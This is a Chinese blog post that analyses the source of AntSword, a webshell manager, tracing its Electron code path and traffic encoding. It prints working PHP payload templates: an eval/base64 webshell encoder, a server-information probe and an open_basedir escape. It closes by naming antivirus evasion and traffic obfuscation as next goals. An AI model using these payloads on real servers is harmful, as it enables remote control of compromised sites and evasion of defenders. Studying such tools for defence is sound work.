概述
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担并将追究其相关责任!

知识点

  • Electron
  • ES6
  • dhtmlx
  • Nodejs
这个地方点一下,如果做过开发的小伙伴,尤其是前端开发,是真正的前端开发工程师哦,一定会比较熟悉electron/es6/node。。。。但是这个dhtmlx资料真的少。插个图片,表达下现在的心情。


貌似国内没怎么流行起来,没点基础还是不研究源码的好。闲话不多说,留个git链接。
https://github.com/AntSwordProject/antSword
开始我们的分析之旅。

目录结构

/antData/ 用户目录/modules/ 蚁剑后端模块/node_modules/ 安装的node模块/source/ 核心模块 /base/ 自定义的功能类 /core/ payload模板 /language/ 语言模块 /modules/ 显示模块 /ui/ UI模块 /app.entry.js 渲染程序入口 /load.entry.js 前端加载模块/static/ 静态资源文件/views/ 前端文件/antData/ 用户目录

执行流程分析

下面开始进入主题,从git上下载最新版本的源码包,这里使用2.1.14最新版本做分析,先看下运行的起来的界面吧,不要使用加载器,要用IDE在窗口下运行,这样才方便程序调试和代码研究,electron的版本自己去选个合适的吧,坑很多这里。

1.主入口文件

app.js。这个就是程序的入口文件,因为它在pakeage.json包管理配置文件中指定了。

"name": "antsword","version""2.1.14","description""中国蚁剑是一款跨平台的开源网站管理工具","main""app.js","dependencies": {
这个入口文件app.js主要功能点实现了下面几个:
注册静态资源创建主进程加载主页面`ant-views://front/index.html`初始化modules下的模块
// 初始化模块 ['menubar','request','database','cache','update','plugStore' ].map((_) => {new(require(`./modules/${_}`))(electron, app, mainWindow); });

2.页面文件Views/front/index.html

<linkrel="stylesheet"href="ant-static://css/index.css" /><scriptsrc="ant-src://load.entry.js"></script>

3.载入程序source/load.entry.js,初始化ui

// 加载程序入口require('app.entry');//shellmanager模块初始化['shellmanager', 'settings', 'plugin'].map((_) => {let _module = require(`./modules/${_}/`); antSword['modules'][_] = new _module();});//具体过程constructor() {const tabbar = antSword['tabbar']; tabbar.addTab('tab_shellmanager', '<i class="fa fa-th-large"></i>', null, null, true, false);const cell = tabbar.cells('tab_shellmanager');const layout = cell.attachLayout('3T');// 初始化顶侧栏:工具栏 - 插件this.toolbar = new Toolbar(layout.cells('a'), this);// 初始化左侧栏:数据this.list = new List(layout.cells('b'), this);// 初始化右侧栏:目录this.category = new Category(layout.cells('c'), this);this.searchPop = null;this.searchForm = null;this.initSearchUI();

4、加载数据

source/modules/shellmanager/index.js

const _data = Data.get(arg); //去请求数据,从本地数据库// console.log(_data)// 刷新UI::数据
通过get方法从数据库拿到添加的主机信息,方法名在source/modules/shellmanager/data.js

get: (arg = {}) => {const ret = antSword['ipcRenderer'].sendSync('shell-find', arg);// 解析数据let data = [];let category = {}; ret.map((_) => {
然后通过向主进程发送通信shell-find,拿取信息。文件在modules/database.js
findShell(event, opts = {}) { opts = this.convertOptstoNedbQuery(opts); logger.debug('findShell', opts);this .cursor .find(opts) .sort({utime: -1 }) .exec((err, ret) => { event.returnValue = ret || []; });}
取到结果,返回
/source/modules/shellmanager/index.js的reloadData方法,使用dhtmlx里面的组件grid进行渲染页面
// 刷新UI::数据this .list .grid .clearAll();this .list .grid .parse({'rows': _data['data'] }, 'json');// 刷新UI::分类for (let _ in _data['category']) {
渲染完,进行绑定点击事件,在source/modules/shellmanager/grid.js的文件中:
// 监听事件grid.attachEvent('onRightClick', this._onRightClick);grid.attachEvent('onRowDblClicked', this._onRowDblClicked);//主要看双击打开页面的效果。也就是_onRowDblClicked这个方法:_onRowDblClicked(id, event) {const info = antSword['ipcRenderer'].sendSync('shell-findOne', id);// console.info(info)new FileManager(info);}
然后,FileManager方法传入从数据库读取的shell信息,,,进行发送请求,通过/source/modules/filemanager/index.js的构造方法constructor,
// console.log(antSword['core'][opts['type']]) //调用的类是哪个this.core = new antSword['core'][opts['type']](opts); //实例化对应语言脚本的js,以php为例this.core.request( //发送请求信息 this.core.base.info() ).then((ret) => {
this.core.base.info()这个返回值是/source/core/php/template/base.js文件下的info

module.exports = () => ({ info: { _: `$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){ foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:"; }else{$R.="/"; }$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo$R;`.replace(/\n\s+/g, '') },
通过source/core/base.js里的request方法体,
// 发送请求数据.send('request', { url: this.__opts__['url'], hash: hash,data: opt['data'], tag_s: opt['tag_s'], tag_e: opt['tag_e'], encode: this.__opts__['encode'], ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1, useChunk: (this.__opts__['otherConf'] || {})['use-chunk'] === 1, chunkStepMin: (this.__opts__['otherConf'] || {})['chunk-step-byte-min'] || 2, chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3, useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1, addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1, randomPrefix: parseInt((this.__opts__['otherConf'] || {})['random-Prefix']), useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1, timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']), headers: (this.__opts__['httpConf'] || {})['headers'] || {}, body: (this.__opts__['httpConf'] || {})['body'] || {}});
然后给主线程发送请求消息,在modules/requests.js下的onRequest方法
onRequest(event, opts) {logger.debug('onRequest::opts', opts);if (opts['url'].match(CONF.urlblacklist)) {returnevent .sender .send('request-error-' + opts['hash'], "Blacklist URL");}let _request = superagent.post(opts['url']);// 设置headers_request.set('User-Agent', USER_AGENT.getRandom());
获取到信息后,再返回到source/modules/filemanager/index.js结构体内,执行ui初始化

.then((ret) => { //初始化uithis.initUI(ret['text']);this.cell.progressOff();}).catch((err) => {...
整个页面的显示大概流程就完事了。

自定义流量加密流程

加解密文件生成:

根据已有base64,实现简单的加密流程。

//加密module.exports = (pwd, data, ext = null) => {data["h"] = Buffer.from(data['_']).toString('base64');data[pwd] = `@eval(@base64_decode($_POST['h']));`; delete data['_'];returndata;}//解密module.exports = {/** * @returns {string} asenc 将返回数据base64编码 */ asoutput: () => {return `function asenc($out){return@base64_encode($out); } `.replace(/\n\s+/g, ''); },/** * 解码 Buffer * @param {Buffer} buff 要被解码的 Buffer * @returns {Buffer} 解码后的 Buffer */ decode_buff: (buff) => {return Buffer.from(buff.toString(), 'base64'); }}

数据流量包交互过程

根据获取文件的过程做加解码的测试,发送数据包入口filemanager/index.js
this.core.request(this.core.filemanager.dir({path: path }))
发送前的数据加密...source/core/base.js
request(code, chunkCallBack) {const opt = this.complete(code); //完成加密请求体和密码
complete方法在source/core/php/index.js
//获取解密函数里面的输出方法体if (!force_default) { asencCode =this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext);} else { asencCode =this.__decoder__['default'].asoutput(ext);}//组装payloaddata['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$oparr=preg_split("/\\\\\\\\|\\//",$opdir);$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$tmdir=".${opdir}";@mkdir($tmdir);@chdir($tmdir);@ini_set("open_basedir","..");for($i=0;$i<sizeof($oparr);$i++){@chdir("..");}@ini_set("open_basedir","/");@rmdir($ocwd."/".$tmdir);};${asencCode};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "${tag_s.substr(0,tag_s.length/2)}"."${tag_s.substr(tag_s.length/2)}";echo @asenc($output);echo "${tag_e.substr(0,tag_e.length/2)}"."${tag_e.substr(tag_e.length/2)}";}ob_start();try{${tmpCode};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();`;//具体的加密过程returnthis.encodeComplete(tag_s, tag_e, data);
encodeComplete方法,回到base.js文件,调用指定加密方式,加密完payload,发送请求。
encodeComplete(tag_s, tag_e, data) { let ext = { opts: this.__opts__, rsa: this.rsaEncrypt() }// 编码器处理 let finalData = this.__encoder__[this.__opts__['encoder']](this.__opts__['pwd'], data, ext);return {'tag_s': tag_s,'tag_e': tag_e,'data': finalData };}
发送完请求,返回数据解密过程,返回到source/core/base.js解密
antSword['ipcRenderer']// 请求完毕返回数据{text,buff}.once(`request-${hash}`, (event, ret) => {let buff = this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret['buff'], ext);let encoding = antSword.Decodes.detectEncoding(buff, {defaultEncoding: "unknown"}); encoding = encoding != "unknown" ? encoding : this.__opts__['encode'];// let text = antSword.Decodes.decode(buff, "utf-8");// 解密过程let text = buff = this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret['text'], ext);return res({'encoding': encoding || "",'text': antSword.noxss(text, false),'buff': Buffer.from(antSword.noxss(buff.toString(), false)) });})

发送过程中加密数据

最后放一张加密的流量包吧!

总结

通过两次过程的分析,对蚁剑的内部结构,代码执行顺序有了初步了解,后续会会加深算法的研究,实现免杀的加密算法,以及深度修改混淆,流量包的特征指纹信息。

E
N
D
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们
继续阅读
阅读原文